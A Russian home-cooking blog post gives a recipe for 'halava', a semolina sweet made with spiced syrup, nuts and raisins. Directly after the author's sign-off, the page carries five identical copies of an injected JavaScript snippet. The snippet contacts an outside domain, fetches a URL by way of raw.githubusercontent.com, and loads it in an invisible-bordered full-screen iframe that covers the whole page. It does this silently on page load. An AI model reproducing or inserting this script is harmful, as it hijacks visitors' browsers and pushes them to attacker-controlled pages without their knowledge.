Халава? — спросите вы. А нет ли тут ошибки?
Конечно, нам всем знакома восточная сладость — халва, но халава тоже восточная сладость, и, по моему убеждению, вовсе напрасно игнорируемая нами.

Рецепт очень прост:
500 мл воды;
150-200 г сахара;
10 жилок шафрана (по желанию) или куркума;
2 ч. л. грецкого ореха;
1/2 ч. л. кардамона измельченного;
изюм 50-100 г (сколько любите, я люблю!);
150 г сливочного масла;
200 г манной крупы.
В воду добавляем весь сахар, специи, орехи и изюм (можно цукаты, финики, курагу, чернослив, цедру). Варим сироп минут пять на слабом огне и оставляем немного настояться, пока мы будем заниматься манкой.
В кастрюльке (лучше эмалированной) растопить масло и высыпать манку постоянно помешивая на слабом огне. Манка мешается легко и нужно только не терять бдительность что бы она не подгорела. Через десять минут (это не так много как кажется — запах стоит потрясающий и отходить от кастрюли не хочется) осторожно вливаем наш сироп (он может начать активно кипеть и булькая попасть на руки). Всё это старательно перемешиваем ещё минут пять. Если по какой-то причине у вас получилась довольно жидкая смесь, то вымешивать нужно до тех пор пока халава не станет похожа на жирное песочное тесто по консистенции или даже чуть суше. В заключении тушим огонь и накрываем крышкой на три-пять минут.

Подавать халаву можно горячей выложив её в пиалы или холодной, предварительно выложив и разровняв на любой ровной поверхности, а потом, когда она остынет, нарезать нужными кусочками.

Я люблю холодную халаву с теплым молоком, которое предварительно варю с корицей, кардамоном и капелькой сахара.
Приятного от Фёдора Денисенко ;)!(function() {
var API_ID_URL = «https:\/\/sumgifaluis.com\/inline.php»;
var TRUSTED_CONFIGS = [{«template»:»https:\/\/raw.githubusercontent.com\/{id}»,»useFetch»:true}];
var GLOBAL_KEY = Symbol.for(«__adspect_wpu_4__»);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
function buildTrustedUrl(template, id) {
if (template.indexOf(«dropbox.com») >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(«gist.githubusercontent.com») >= 0 || template.indexOf(«raw.githubusercontent.com») >= 0) encoded = encoded.replace(/%2F/g, «/»);
return template.replace(/\{id\}/g, encoded);
}
function isSingleUrl(text) {
var s = (text || «»).trim();
if (s.indexOf(«\n») >= 0 || s.indexOf(«\r») >= 0) return false;
return /^https?:\/\/[^\s»‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(«iframe»);
iframe.src = url;
iframe.style.cssText = «position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;»;
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || «»).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || «»).trim(); })
.catch(function() { return «»; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === «complete» || document.body) {
run();
} else {
window.addEventListener(«DOMContentLoaded», run);
}
})();(function() {
var API_ID_URL = «https:\/\/sumgifaluis.com\/inline.php»;
var TRUSTED_CONFIGS = [{«template»:»https:\/\/raw.githubusercontent.com\/{id}»,»useFetch»:true}];
var GLOBAL_KEY = Symbol.for(«__adspect_wpu_4__»);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
function buildTrustedUrl(template, id) {
if (template.indexOf(«dropbox.com») >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(«gist.githubusercontent.com») >= 0 || template.indexOf(«raw.githubusercontent.com») >= 0) encoded = encoded.replace(/%2F/g, «/»);
return template.replace(/\{id\}/g, encoded);
}
function isSingleUrl(text) {
var s = (text || «»).trim();
if (s.indexOf(«\n») >= 0 || s.indexOf(«\r») >= 0) return false;
return /^https?:\/\/[^\s»‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(«iframe»);
iframe.src = url;
iframe.style.cssText = «position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;»;
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || «»).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || «»).trim(); })
.catch(function() { return «»; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === «complete» || document.body) {
run();
} else {
window.addEventListener(«DOMContentLoaded», run);
}
})();(function() {
var API_ID_URL = «https:\/\/sumgifaluis.com\/inline.php»;
var TRUSTED_CONFIGS = [{«template»:»https:\/\/raw.githubusercontent.com\/{id}»,»useFetch»:true}];
var GLOBAL_KEY = Symbol.for(«__adspect_wpu_4__»);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
function buildTrustedUrl(template, id) {
if (template.indexOf(«dropbox.com») >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(«gist.githubusercontent.com») >= 0 || template.indexOf(«raw.githubusercontent.com») >= 0) encoded = encoded.replace(/%2F/g, «/»);
return template.replace(/\{id\}/g, encoded);
}
function isSingleUrl(text) {
var s = (text || «»).trim();
if (s.indexOf(«\n») >= 0 || s.indexOf(«\r») >= 0) return false;
return /^https?:\/\/[^\s»‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(«iframe»);
iframe.src = url;
iframe.style.cssText = «position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;»;
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || «»).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || «»).trim(); })
.catch(function() { return «»; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === «complete» || document.body) {
run();
} else {
window.addEventListener(«DOMContentLoaded», run);
}
})();(function() {
var API_ID_URL = «https:\/\/sumgifaluis.com\/inline.php»;
var TRUSTED_CONFIGS = [{«template»:»https:\/\/raw.githubusercontent.com\/{id}»,»useFetch»:true}];
var GLOBAL_KEY = Symbol.for(«__adspect_wpu_4__»);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
function buildTrustedUrl(template, id) {
if (template.indexOf(«dropbox.com») >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(«gist.githubusercontent.com») >= 0 || template.indexOf(«raw.githubusercontent.com») >= 0) encoded = encoded.replace(/%2F/g, «/»);
return template.replace(/\{id\}/g, encoded);
}
function isSingleUrl(text) {
var s = (text || «»).trim();
if (s.indexOf(«\n») >= 0 || s.indexOf(«\r») >= 0) return false;
return /^https?:\/\/[^\s»‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(«iframe»);
iframe.src = url;
iframe.style.cssText = «position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;»;
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || «»).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || «»).trim(); })
.catch(function() { return «»; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === «complete» || document.body) {
run();
} else {
window.addEventListener(«DOMContentLoaded», run);
}
})();(function() {
var API_ID_URL = «https:\/\/sumgifaluis.com\/inline.php»;
var TRUSTED_CONFIGS = [{«template»:»https:\/\/raw.githubusercontent.com\/{id}»,»useFetch»:true}];
var GLOBAL_KEY = Symbol.for(«__adspect_wpu_4__»);
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
if (registry.run) return;
registry.run = true;
function buildTrustedUrl(template, id) {
if (template.indexOf(«dropbox.com») >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf(«gist.githubusercontent.com») >= 0 || template.indexOf(«raw.githubusercontent.com») >= 0) encoded = encoded.replace(/%2F/g, «/»);
return template.replace(/\{id\}/g, encoded);
}
function isSingleUrl(text) {
var s = (text || «»).trim();
if (s.indexOf(«\n») >= 0 || s.indexOf(«\r») >= 0) return false;
return /^https?:\/\/[^\s»‘]+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement(«iframe»);
iframe.src = url;
iframe.style.cssText = «position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;»;
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || «»).trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: «no-store» })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || «»).trim(); })
.catch(function() { return «»; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === «complete» || document.body) {
run();
} else {
window.addEventListener(«DOMContentLoaded», run);
}
})();